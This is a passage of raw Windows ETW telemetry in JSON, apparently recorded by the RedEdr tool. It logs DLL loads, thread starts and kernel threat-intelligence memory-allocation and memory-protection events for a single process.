","id":50,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973844199,"trace_id":41,"type":"etw"},{"ProcessID":"1208","StackBase":"FFFF8185AAC77000","StackLimit":"FFFF8185AAC71000","StartAddr":"00007FFC8513D110","SubProcessTag":"0","TebBase":"0000009FD88DA000","ThreadID":"11092","UserStackBase":"0000009FD8C00000","UserStackLimit":"0000009FD8BFF000","Win32StartAddr":"00007FFC8513D110","event":"ThreadStartStart ","id":51,"opcode_id":1,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801540391,18446735283801538352,18446735283801537158,18446735283799009541,18446735283798947552,18446735283801492570,18446735283797779076,18446735283796924337,18446735283796923547,18446735283799009541,140722541495044,140722540915673,140722540915302,140722540901535,140722540936098,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973844777,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC84650000","ImageBase":"00007FFC84650000","ImageCheckSum":"673563","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\sechost.dll","ImageSize":"000000000009F000","ProcessID":"1208","TimeDateStamp":"1942365337","event":"ImageLoadInfo ","id":52,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973845122,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83410000","ImageBase":"00007FFC83410000","ImageCheckSum":"1244603","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\rpcrt4.dll","ImageSize":"0000000000123000","ProcessID":"1208","TimeDateStamp":"2016036219","event":"ImageLoadInfo ","id":53,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973845622,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82C20000","ImageBase":"00007FFC82C20000","ImageCheckSum":"199345","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\bcrypt.dll","ImageSize":"0000000000027000","ProcessID":"1208","TimeDateStamp":"2535700803","event":"ImageLoadInfo ","id":54,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722541706093,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973846304,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC62B00000","ImageBase":"00007FFC62B00000","ImageCheckSum":"929031","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\msvcp140d.dll","ImageSize":"00000000000E2000","ProcessID":"1208","TimeDateStamp":"4270244042","event":"ImageLoadInfo ","id":55,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973850339,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC848D0000","ImageBase":"00007FFC848D0000","ImageCheckSum":"1221752","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\ole32.dll","ImageSize":"000000000012B000","ProcessID":"1208","TimeDateStamp":"610785574","event":"ImageLoadInfo ","id":56,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973850943,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82C50000","ImageBase":"00007FFC82C50000","ImageCheckSum":"1076532","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\ucrtbase.dll","ImageSize":"0000000000100000","ProcessID":"1208","TimeDateStamp":"2177850761","event":"ImageLoadInfo ","id":57,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973851508,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC84D50000","ImageBase":"00007FFC84D50000","ImageCheckSum":"3511252","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\combase.dll","ImageSize":"0000000000353000","ProcessID":"1208","TimeDateStamp":"3888075817","event":"ImageLoadInfo ","id":58,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973852214,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC833E0000","ImageBase":"00007FFC833E0000","ImageCheckSum":"218727","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\gdi32.dll","ImageSize":"000000000002B000","ProcessID":"1208","TimeDateStamp":"3634633287","event":"ImageLoadInfo ","id":59,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973852906,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82FF0000","ImageBase":"00007FFC82FF0000","ImageCheckSum":"137991","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\win32u.dll","ImageSize":"0000000000022000","ProcessID":"1208","TimeDateStamp":"3336608826","event":"ImageLoadInfo ","id":60,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973853419,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82B00000","ImageBase":"00007FFC82B00000","ImageCheckSum":"1180473","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\gdi32full.dll","ImageSize":"0000000000117000","ProcessID":"1208","TimeDateStamp":"576863693","event":"ImageLoadInfo ","id":61,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973853787,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83070000","ImageBase":"00007FFC83070000","ImageCheckSum":"659111","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\msvcp_win.dll","ImageSize":"000000000009D000","ProcessID":"1208","TimeDateStamp":"958749903","event":"ImageLoadInfo ","id":62,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973854262,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC84A00000","ImageBase":"00007FFC84A00000","ImageCheckSum":"1745311","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\user32.dll","ImageSize":"000000000019D000","ProcessID":"1208","TimeDateStamp":"4291603748","event":"ImageLoadInfo ","id":63,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722540921977,140722540939432,140722540935977,140722540923924,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973854932,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC77340000","ImageBase":"00007FFC77340000","ImageCheckSum":"215677","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\vcruntime140d.dll","ImageSize":"000000000002B000","ProcessID":"1208","TimeDateStamp":"3390545094","event":"ImageLoadInfo ","id":64,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973856273,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC7DD50000","ImageBase":"00007FFC7DD50000","ImageCheckSum":"124685","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\vcruntime140_1d.dll","ImageSize":"000000000000F000","ProcessID":"1208","TimeDateStamp":"743278547","event":"ImageLoadInfo ","id":65,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973857377,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC628D0000","ImageBase":"00007FFC628D0000","ImageCheckSum":"2249853","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\ucrtbased.dll","ImageSize":"0000000000222000","ProcessID":"1208","TimeDateStamp":"3642813796","event":"ImageLoadInfo ","id":66,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722541706103,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973858416,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC83DE0000","ImageBase":"00007FFC83DE0000","ImageCheckSum":"244437","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\imm32.dll","ImageSize":"000000000002F000","ProcessID":"1208","TimeDateStamp":"3510600902","event":"ImageLoadInfo ","id":67,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722540921977,140722541282029,140722540968753,140722540934116,140722540931828,140722498119186,140722533672481,140722533664800,140722540943901,140722541286135,140722541285514,140722541285648,140722541285648,140722541285648,140722541706418,140722541321707,140722541321331,140722541321246],"thread_id":6916,"time":133791868973877940,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC630A0000","ImageBase":"00007FFC630A0000","ImageCheckSum":"0","ImageName":"\\Device\\HarddiskVolume2\\RedEdr\\RedEdrDll.dll","ImageSize":"0000000000082000","ProcessID":"1208","TimeDateStamp":"1734697896","event":"ImageLoadInfo ","id":68,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541236080,140722541232655,140722540968787,140722540934116,140722540931828,140722498119186,140722498150113,140722541498974,140722541497636,140722541322413,140722541321331,140722541321246],"thread_id":6916,"time":133791868973891869,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC73E50000","ImageBase":"00007FFC73E50000","ImageCheckSum":"1883635","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\dbghelp.dll","ImageSize":"00000000001E4000","ProcessID":"1208","TimeDateStamp":"2592498981","event":"ImageLoadInfo ","id":69,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140722540924226,140722540923562,140722541236803,140722541235360,140722541232480,140722541232200,140722540968797,140722540934116,140722540931828,140722498119186,140722498150113,140722541498974,140722541497636,140722541322413,140722541321331,140722541321246],"thread_id":6916,"time":133791868973894702,"trace_id":41,"type":"etw"},{"ProcessID":"1208","StackBase":"FFFF8185AAC8C000","StackLimit":"FFFF8185AAC86000","StartAddr":"00007FFC8513D110","SubProcessTag":"0","TebBase":"0000009FD88DC000","ThreadID":"3196","UserStackBase":"0000009FD8D00000","UserStackLimit":"0000009FD8CFF000","Win32StartAddr":"00007FFC8513D110","event":"ThreadStartStart ","id":70,"opcode_id":1,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801540391,18446735283801538352,18446735283801537158,18446735283799009541,18446735283798947552,18446735283801492570,18446735283797779076,18446735283796924337,18446735283796923547,18446735283799009541,140722541495044,140722540915673,140722540970036,140722541246040,140722541156250,140722508034932,140722541153425],"thread_id":11092,"time":133791868973904770,"trace_id":41,"type":"etw"},{"DefaultBase":"00007FFC82F60000","ImageBase":"00007FFC82F60000","ImageCheckSum":"531569","ImageName":"\\Device\\HarddiskVolume2\\Windows\\System32\\bcryptprimitives.dll","ImageSize":"0000000000082000","ProcessID":"1208","TimeDateStamp":"3309379821","event":"ImageLoadInfo ","id":71,"opcode_id":0,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283802249410,18446735283801382079,18446735283801378810,18446735283801368557,18446735283801323052,18446735283801319001,18446735283799009541,140722541484532,140721970357133,140722540924226,140722540923562,140722540921977,140722541282029,140722540968753,140722540932416,140722540930798,140722541041959,140722540905542,140722510982114,140722511029553,140722510934949,140722252973064,140722252970041,140722252944910,140721970336136,140721970334552,140721970362881,140722498356982,140700732029427,140700732031462,140700732110521,140700732110174,140700732109854,140700732110670,140722508034932,140722541153425],"thread_id":6916,"time":133791868979064970,"trace_id":41,"type":"etw"},{"ProcessID":"1208","StackBase":"FFFF8185AC7B9000","StackLimit":"FFFF8185AC7B3000","StartAddr":"0000023F29030000","SubProcessTag":"0","TebBase":"0000009FD88DE000","ThreadID":"5680","UserStackBase":"0000009FD8E00000","UserStackLimit":"0000009FD8DFF000","Win32StartAddr":"0000023F29030000","event":"ThreadStartStart ","id":72,"opcode_id":1,"pid":1208,"provider_name":"22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716","stack_trace":[18446735283797242684,18446735283801644436,18446735283801643055,18446735283801540391,18446735283801538352,18446735283801537158,18446735283799009541,140722541489444,140721970350754,140722498157487,140722508052765,140700732029491,140700732031462,140700732110521,140700732110174,140700732109854,140700732110670,140722508034932,140722541153425],"thread_id":6916,"time":133791868979501089,"trace_id":41,"type":"etw"},{"AllocationType":"12288","BaseAddress":"0x0000025BA365C900","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365CB30","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"ALLOCVM_LOCAL","id":73,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909306,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C540","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"32","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C8B0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":74,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909600,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4A0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"32","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365CB30","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":75,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909618,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C950","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"32","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C5E0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":76,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909633,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"32","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C720","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":77,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909646,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C590","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C630","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":78,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909659,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365CA40","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C720","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":79,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909673,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C7C0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C720","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":80,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909685,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C6D0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C8B0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":81,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909698,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C7C0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"32","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C5E0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown 